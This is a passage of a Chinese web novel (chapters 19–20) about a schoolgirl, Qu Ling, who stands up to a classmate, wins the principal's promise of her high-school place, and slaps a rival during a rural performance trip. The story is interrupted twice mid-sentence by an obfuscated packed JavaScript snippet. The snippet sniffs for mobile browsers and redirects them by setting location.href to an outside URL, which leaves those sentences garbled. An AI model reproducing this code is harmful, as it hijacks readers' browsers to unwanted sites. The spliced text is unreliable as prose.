她俯视的表情让李小志从她身上看到了以前的影子,就这么不在意地看着他,他的拳头又不自觉挥舞起来。 曲灵毫不畏惧地迎上去,嘴角撇出一个轻蔑的弧度,指指自己:“有本事,你就打!” 李小志不由自主地退后两步,咬牙切齿了一会儿,紧紧攥着的拳头,缓缓放下去,半天憋出一句: “你,你不要脸!” 曲灵就知道李小志不敢动手,她品出来了,他跟他爸爸一样,都是软的欺负硬的怕,只管捏软柿子的货! 原本,曲灵想着,拿回自己的东西就算了,做事留一线,把人逼得太紧,结成深仇就不好了,虽然早上她和李主任说的那番同归于尽的话是真的,可是,但凡能过好日子,谁又愿意找不自在呢? 可一看见李小志这个样子,她就不愿意再压抑情绪,装弱势了。 “你才不要脸,你全家都不要脸!”曲灵手指头险些戳在李小志的脑门上,这两天心中积攒的怒火全部喷涌而出,“你害了别人,还希望别人老老实实受着,别人反抗了,你就成了受害者,这是什么土匪道理?我告诉你李小志,我曲灵什么都不怕,我要是不好,你们全家都别想好!” 李小志打了一激灵,心中的怒火忽然一下子就烟消云散,取而代之的是畏惧。现在的曲灵,眼神慑人,有种说到做到的笃定。 李小志低下头去,咽口吐沫,舔舔嘴唇,收敛了呼吸,想说些什么,却没能说出来。 曲灵急促地呼吸了一会儿,半晌没见李小志什么都没说,心中愈加认定这人就是个孬种,心中轻蔑之意更胜,“哼”了一声,转身出了教室。 等她的脚步声音走远,李小志才敢抬头,捂着胸口,快速地呼吸了几口,同时又懊恼,不过就是一个同龄的女同学罢了,怎么就被吓成那样了呢? 可是,回忆起曲灵刚刚的表情,仍旧让李小志觉得心悸,他脑中忽然浮现出一句话,冲的怕愣的,愣的怕横的,横的怕不要命的。 曲灵就是那个不要命的。 曲灵不要命,自己可是惜命的,自己不是怕她,而是不能跟她一般见识,李小志这样安慰着自己。 19. 平息 走出教室的曲灵忽地就“咯咯”笑起来,心里头前所未有的畅快!对待坏人,还是这样真刀真枪地愣干才能出了心中的恶气。 她放眼四周,看很多同学都从教室里涌出来,奔向办公室的方向,连忙加快了脚步,很快就跟随着人群方向,去了校长办公室。 校长办公室门口已经挤满了人。五十来岁,秃头的校长正站在台阶上,接受着同学们的质问。 曲灵隔着老远,都能感受着他的紧张。炽热的光线直接照射在他光秃的脑门上,其上密布着的汗珠折射出点点刺眼光芒,就像个大灯泡一般。顾不上擦脑门上的汗,他挥舞着双手,一劲儿地往下压,嘴巴不停地蠕动解释着,想要压下同学们的质问。 正如同曲灵所见,这位校长心里头慌乱得不行,他是经历过66年乱局的,亲眼看见过当时混乱的情况,部分老师的惨状,还有很多同学们的疯狂,此时此刻,他仿佛又回到了那个时候,手脚冰凉,一身身的冷汗往外冒。 再往近走一些,曲灵便能听见声音。 班上的同学们七嘴八舌地质问校长,是不是在曲灵和李小志的高中入学名额上徇私了。 校长反复用单调的语言表示自己没有徇私,担当校长以来,一直严格要求自己,从来不敢有半点马虎云云。 但这样苍白的话语显然没能取信于同学们,其他老师们看到这一情景,没人敢上前,都躲在办公室里不敢发声。 还有同学继续往这边赶。 曲灵面对着这样的阵势,不由得咋舌,心也开始发慌。 她本来也打算今天要来找校长的,她得确保李主任同意了不抢占她的名额,这个名额不会被校长再转给别人。 所用的方法,还是对付李主任那一套,示弱之后,引起其他人的同情,用舆论逼迫他不得不答应。 却没想到,局势急转直上,一下子从她个人的事情,发展成了学生和校领导之间的对抗。她是要解决自己的问题,却从没想过要闹这么大。 曲灵抿抿嘴唇,拨开人群,往里面走去。 同学们看见是她,想到她是这次争端的起源,便也纷纷避让,让出一条路来。 曲灵朝着周围的同学点头致谢,很快就走到台阶下面。 站在三层台阶之上的校长手掌搓着秃脑袋,绞尽脑汁地想着该怎么平息这场混乱,忽地看见了曲灵,脑中一闪就有了主意。 他往曲灵的方向一指,“曲灵同学,麻烦你上来。” 大家的目光都朝着曲灵看过来。 曲灵点了下头,抬步上了台阶。 待等到曲灵在他身边站住,校长才扬声说:“同学们,大家的诉求我都知道了,你们渴求的是公平公正,这也是我担任校长这几年里,一直在努力达成的。现在当事人曲灵在这儿,我当着大伙儿的面跟曲灵同学保证,均州一中的入学名额是你的,谁也抢不走!” 不等下面的同学们有所反应,校长趁热打铁,又扬了扬声音,“同学们,在这里,我也做出保证,不管什么时候,高中的推荐名额也会秉持着公平、公正的原则,按照学习成绩、家庭成分和本人思想觉悟三方面来考核,绝对不会出现替换他人名额的事情出现!欢迎广大同学们进行监督,如果发现不公正的现象,尽管来找我!” 接着,校长又说了不少保证和安抚的话,曲灵也配合着安抚大家。 同学们的激昂的情绪渐渐平静下来,诉求得到满足,很快,便散开了。 其实,同学们自发的过来,都是因着曲灵的事情联想到自身,大家都希望能有公平竞争的机会,而不是凭着父母职位,家庭背景等。 与其说是为曲灵发声,不如说是为自己发声。 曲灵在这种意料之外的情况之下,得到了校长的保证,倒是省了自己再单独面对校长,也长舒了一口气。 梁爱勤等着她一起回教室去,曲灵却被校长叫住了。 “曲灵同学,跟我来一趟。” 校长正拿着手帕擦光秃秃的脑门,脸上挂着尤带惊慌的和煦笑容。 曲灵答应了一声,朝着梁爱勤挥手,“你先回去吧。” 梁爱勤有些担忧地瞥了校长一眼,这才慢吞吞地走了。 跟着校长走进办公室的曲灵抢先开口,说:“谢谢校长不徇私,没有因为我爸爸去世,我无依无靠了,就把我的高中名额给了别人。” 校长一噎,本来要说的话堵在了嗓子眼里。 今天这场风波平息了,可心中气愤难平。他堂堂一校之长,被逼成这样,被迫在大庭广众之下承诺了要保证曲灵的入学名额,且不说李主任那里要如何交代,叫说置他这校长的权威于何地? 那么多的同学他惹不起,但曲曲一个曲灵,他还是能够教育一番,发泄下怒火的。 可曲灵抢先开口了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14641665|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且,她的话还没说完: “……今天早上,我去了李小志家,李小志爸爸当着街坊邻里的面说,李小志毕业就直接到矿上工作。”她说着,直视校长的目光,笑了下,说:“是我误会李主任和校长你了,以为你们之间有什么见不得人的交易,现在,我知道了,你和李主任都是无辜的,是我误会你们了,我向你们道歉。” 她说着道歉,却一点道歉的意思都没有。 校长那些谴责的话就愈加说不出来了,他又掏出手绢来擦脑袋,将脑袋擦得跟书桌上的玻璃板一般光亮才停手,说:“知错能改就好,曲灵同学,以后上了高中,要好好学习,不要辜负学校这几年的培养。” 曲灵点头,说:“我会的校长,我也会记住知错能改这句箴言的。” 校长脸色一僵,搓弄着湿乎乎、黏答答的手绢,说:“那就好,行了,你回教室吧。” 曲灵离开,走到门口的时候,身后的校长到底还是忍不住叫了她的名字,“曲灵。” 曲灵转头。 校长说:“你爸爸不在了,我作为长者给你一个忠告。在人屋檐下,还是低低头为好。” 曲灵嘴角扯了扯,说:“谢谢校长,不过,我爸生前跟我说,是可忍孰不可忍,忍无可忍,无需再忍。我才活了十几年,见识少,懂的道理也不多,我从小性子倔,只知道一个道理,谁想让我不好过,我就让谁不好过,左不过就是一条命罢了,反正我家里就剩下我一个人,无牵无挂的,无所谓!” 曲灵说着这话,配合着狠厉的目光,顿时让校长又擦起了秃脑门,而后扯出个笑容,声音也柔软许多,“女孩子家家,怎么一身戾气,这可不好,得改。行了,你回吧。” 曲灵这才走出门去,下了台阶,就偷偷笑出来。果然,这些人都怕不要命,会拼着同归于尽的。 早上,她和李主任说这番话时,确实是存了你不让我好,咱们就一起死的决绝之心的,这会儿却不是,她是故意的,因着发现了李主任对她那话的忌惮。 同样地,她也在校长脸上发现了这样的忌惮,相信以后,他应该不会想办法找茬,给自己下绊子了。 呵,堂堂一个校长,居然对一个学生说出在人屋檐下,就要低头这样恼羞成怒,又带着威胁的话,可真是掉价! 印象中的校长是和蔼可亲的长者,这次的事情倒是让她看清了很多人的本质。 20. 一巴掌 隔天,学校组织学农活动,到三十公里之外的小庄村帮着农民伯伯们除草。按照以往的惯例,曲灵所在的宣传队也会去,不过不用下地干活,而是给广大农民们演节目。 曲灵去了宣传队集合的地方,需要下乡的宣传队成员差不多都已经到了,总共加起来也就七八个,有男有女。 曲灵一过去,大家的目光都集中到她身上。 曲灵朝着他们微笑着点了下头,说:“好几天不见,我耽误了好多演出,不好意思。” 便有人说,“也不怪你啊,回来了就好。” 这些伙伴们,看曲灵的表情不一,他们都知道了上午校长室前发生的一幕,也知道这件事情给曲灵带来的影响。 在曲灵过来之前,负责宣传队事宜的黄老师和宣传队长刘林林关在办公室里谈了许久,就是谈铁梅扮演者的问题。 本来,曲灵家里出了事儿,很长时间不能来参加演出,借这个机会,让闵学青替代,成为正式的女主角也是正常的,可是瞧见曲灵为了高中入学名额,搅得那么多的同学声势浩大地去跟校长叫板,两人又都胆怯了。 曲灵无论从唱腔、台风、扮相,都比闵学青强得多,放着更好的不用,却退而求其次,怎么都说不过去,要是曲灵也带人来闹一闹,连校长都承受不住的事儿,他们怎么可能承受得住? 于是两人商量来,商量去,一致觉得没必要为了个闵学青,得罪曲灵这个煞星,还是恢复曲灵在宣传队里的地位为好。 两人之前之所以答应闵学青的请求,不过就是曲灵爸爸死了,依仗没有了,可没想到她没了爸爸,依旧不是个好欺负的。 有平时跟曲灵关系还不错的同学凑到曲灵跟前,问她家里的事情处理得怎么样了,又问她今天上午是怎么回事,其他同学也好奇地凑过来,很快,就形成了以曲灵为中心的一个小圈子。 闵学青走进来时,正看见了被众人簇拥,站在中心位置的曲灵,她比很多人都高,即便是围在中心,还是能清晰地看到白皙的大脑门。就凭着一个脑门子,她就不会认错! 刚刚黄老师将她叫过去谈话了,先是夸奖她这段时间在宣传队的表现不错,接着又说了一通什么顾全大局,要做革命一块砖,哪里需要往哪儿搬,不要太在意个人利益得失之类的废话,最后才说出谈话的目的,准备继续让曲灵担任女主角,让闵学青不要因此产生情绪,和曲灵闹不愉快。 闵学青自然是不同意的,可黄老师说,这是集体的意见,她不同意也没用,个人必须服从集体,她又跟黄老师说了半天的好话,也没能改变黄老师的意见,只好先离开。 这会儿看见曲灵,真是新仇旧恨一起涌上心头。 曲灵感觉到一束不善的目光,便顺着看过来,正看见了闵学青,联想到那天闵学青好朋友的那番话,再瞧着她此时的表情,便愈加觉得李奶奶那句话说得没错。 人啊,就是不能妥协,有人欺负就必须反击,得树立起不好惹的形象,知道欺负她是要付出代价的,这样,别人在欺负你之前,就得好好掂量掂量得失,便不敢轻易下手了。 很快,出发的时间到了,曲灵跟着宣传队的同学们一起,徒步往小庄村的方向走。 曲灵所在的宣传队多次来过小庄村,算是熟门熟路了,而对于经常步行的同学们来说,三十里地的路着实不算什么。一路上,大家干劲儿十足,宣传队的成员们走到最前面,起头领唱,给大家伙鼓劲儿,很快就到了小庄村。 生产大队的领导很重视这群来学农的学生们,领导班子成员们带着不少村民在村口等着欢迎,把大家带去打谷场上集合,并说了些场面话后,同学们便被分配着,下地干活去了,而宣传队的七八个人,则留在打谷场排练。 今天的天气尤为炎热,在大太阳底下晒上一会儿,便觉灼疼得很,挪蹭到在一颗三四个人环抱粗的大树底下,微风吹过,还能有些凉意。 除了等会去田间地头给老乡们唱唱歌曲、快板加油鼓劲儿,晚上五点,还有正式的演出。节目有《红灯记》节选,还有独唱、合唱、舞蹈、三句半等。节目单出发之前就定好了,曲灵依旧饰演《红灯记》里的铁梅。 她跟同伴们说了一声,便去了相隔比较远的僻静荫凉处。这些天哭了太多,嗓子有些不适,她唱完一段,便清清嗓子,拿出身上挂着的军用水壶润了润嗓子,忽然听见朝自己这边走过来的脚步声。 她转头去看,是闵学青,背对着众人时,露出了一脸不善的表情。 “你唱得真难听!”她恶狠狠地说。 “那也比你强!”曲灵毫不客气地反击,而后慢悠悠地将水壶盖子盖上,又将水壶往身侧挪了挪。 她一直都知道闵学青在学习她,但无时无刻不想要替代她的位置。闵学青这个人极能装,当面一套背后一套,不管对曲灵的感情多复杂,表面上还是和曲灵很要好的样子,只说好听话。 那些对于曲灵不客气的言论,都是通过她那位好朋友的嘴巴里说出来的。 其实,曲灵也从她身上学到了很多,在李小志家门前做那一番作态、表现时,心里头就是想着闵学青的,模仿她说话的表情、语调、方式,在她的基础之上,又夸张了几分。 但此时的闵学青,却好似忽然间就揭下来身上的那层皮,赤luo、直白地散发出了她的恶意。 曲灵自然也没有惯着她,回以同样恶意的话,但心中却很有些感慨,好似两人互换了性子一般,自己学到了闵学青的装模作样,闵学青则暴露了内心对自己的真实态度。 这本是两人对骂时很普通的一句话,却戳中了闵学青的心窝子,心中酸酸疼疼,无尽的委屈。 她不跟曲灵抢高中的入学名额,只想在临毕业这将近一个月时间里当个女主角,做舞台上万众瞩目的李铁梅,可眼前之人却把自己的美梦给摧毁了。 想用最恶毒的话来咒骂曲灵,但她到底只是个十五六岁的小姑娘,平时也以斯文善良的面目示人,妇女们骂架时,那些往下三路招呼的脏话她说不出口,但无法排解心中的怒火,一句话陡然而出: “你爸死了,你活该,是你的报应!” “啪!” 一个耳光打在闵学青脸上,清脆之极。 伴随而来的,还有曲灵哑了的声音,“那你的报应就是你全家死光光,你爸死了,你妈死了,你全家连猪狗都剩不下!” 闵学青先是被那突入起来的一巴掌打懵了,脸上的疼痛加之这句话的刺激令血液直往脑瓜顶上翻涌,冲得她挥舞着双手,不顾一切地往曲灵身上招呼。 曲灵身体轻盈,一下子避开了她,抬脚就往人多的地方跑,边跑边喊:“救命,闵学青要打死我!” 她腿长,跑得快,很快就跑到同学们中间来,而后躲在一名女同学的身后。 另外有同学连忙拦住了气势汹汹追过来的闵学青。 闵学青被拦住,手脚扑腾着,不肯甘心,嘴巴里头喊着,“曲灵,我打死你,你才全家死光光,有本事你别躲!” 刘林林连忙往左右看了看,上前一把捂住闵学青的嘴巴,怒声叱责,“闵学青,你是到这里慰问演出的,不是来打架的,你出门代表的是宣传队,是hong小兵,你要时刻注意自己的形象!” 闵学青被堵住了嘴巴,呜呜地直叫,一双眼睛几乎要瞪出眼眶来。 刘林林没敢放手,朝着曲灵躲藏的方向,没好气地问:“到底怎么回事?” 曲灵从同学身后绕出来,面带愧疚地说:“不好意思,是我冲动了,没有注意场合。我刚刚在练习,闵学青走过来,说我爸死了活该,是报应,我一时没忍住,就打了她一巴掌。” 众人都看见了闵学青脸上明晃晃的巴掌印,知道曲灵这是下了狠手,可是闵学青那句话说得太不是人,但凡有点血性的人都会忍不住动手! 闵学青更加用力地挣扎起来,刘林林一时没捂住,让闵学青的嘴巴露出来,喊道:“我只是说她爸死了活该,她咒我全家!” 曲灵:“你要是不先说那句,我能咒你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14641666|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 闵学青忽地就不挣扎了,眼眶里忽然留下眼泪来,惊得刘林林赶紧把手收回来,其他人也不由自主地松手。 闵学青恢复自由,却忽然就不闹了,顶着一张逐渐开始泛红、发肿的脸蛋,可怜兮兮地站着,嘴巴蠕动,就要开口。 不知道是不是因为模仿学习了闵学青的招数,曲灵居然猜到她接下来要做什么,忙先发制人,从人群中走出来,一把握住闵学青的手,说:“你先骂的我,戳得我的心跟被针扎了似的难受,但我也打了你一巴掌,也骂了你,咱们扯平了,和好行不行?咱们是来给老乡们演出的,让老乡们看得满意,才是最重要的,别因为私事,影响了演出质量。” 闵学青不可置信的看向曲灵,要不是声音不对,她都怀疑这话是自己说出来的,曲灵怎么抢了自己的词儿? 刘林林等人立刻说道:“是啊,你们两个握手言和吧,就是一点小矛盾,给老乡们好好演出才是正经的!” “都大度些,谁要是再闹,我们大家可不答应。” …… 闵学青此时已经没有其他选择了,咬了半天的嘴唇,只好忍着气,说:“好,我不会再跟曲灵闹矛盾的。” 其他人脸上便露出欣慰的表情,刘琳琳过来帮闵学青理了理有些散乱的头发,说:“这才对嘛,咱们在外是一个整体,都好好的。” 曲灵抢着点头,说:“好的。” 一场小风波消弭了,大家散开,继续排练节目。 曲灵也准备继续去僻静地方练嗓子,闵学青却叫住她。 “还有事儿?”曲灵瞧见闵学青被自己打了一巴掌的脸上肿得愈加厉害了,心中却丝毫没有愧疚之感,就如同她自己说的,当时听到这话的时候,心里头就像是被锥子狠狠扎了一下似的,尖锐地疼,手比脑子快,脑子还没有下命令,手就已经挥舞出去了。那响亮的声音瞬间将心里的疼痛磨平,她一点都不后悔挥了这人生中的第一个巴掌。 闵学青摸着自己又烫又肿,隐隐作痛的脸颊,看着曲灵仿佛刚才什么事情都没有发生过的模样,有种大白天见鬼之感。 她仇视地瞪着曲灵,却不知道从何说起。 曲灵笑了笑,说:“是不是奇怪我变了个人似的,把你想说的话,想做的事儿给抢着做了?” 闵学青嘴唇动了动,脸上显而易见的露出愕然之色,惊讶于她猜中了自己的心思。 曲灵往她这边走了两步,闵学青下意识往后退,曲灵压低了声音说:“其实我不是我,那个曲灵已经死了,我是借尸还魂的!” 东北地区流传着很多借尸还魂的民间传说,很多小孩子都是被这些故事给吓大的,他们是唯物主义的小卫兵,却也没能真正做到不怕牛鬼蛇神,对于这些东西的恐惧是根治于心底里的。 闵学青显然就是这样的,她猛地往后退了两步,惊恐地张大嘴巴,忽地就惊叫一声,踉跄着转到人群中去,到人多的地方才敢深深吸气。 旁边的同学看见她,被吓了一跳,“你怎么了给吓成这样,出了什么事儿?” 这会儿的闵学青半边脸发红发胀,半边脸煞白,眼睛直勾勾,搭在同伴胳膊上的双手冰凉。 “曲灵,曲灵她是鬼!”闵学青喃喃说着。 旁边的同学“噗嗤”笑了,说:“这世界上哪儿有鬼啊,再说了,这大白天的,鬼也不敢出来呀。”而后又“嘘”了一声,往旁边瞅瞅,警告闵学青,说:“这话也就跟我说说,可别让别人听见了,咱们这宣传队里,多的是上纲上线的人,小心给你开批评会!” 闵学青连忙点点头,抱住这位同学的胳膊,悄悄往曲灵的那个方向瞧,想看看她有没有影子。 曲灵又回去了刚刚那个荫凉地,随着太阳的偏移,这片荫凉面积更大了些,闵学青盯着看了一会儿,都没有看见曲灵的影子,直到她练习一个跳步,身体往荫凉边缘退了退,这才有清晰的影子出现。 闵学青心间大石头落下,长吁一口气,终于能够感受到炽热的温度了。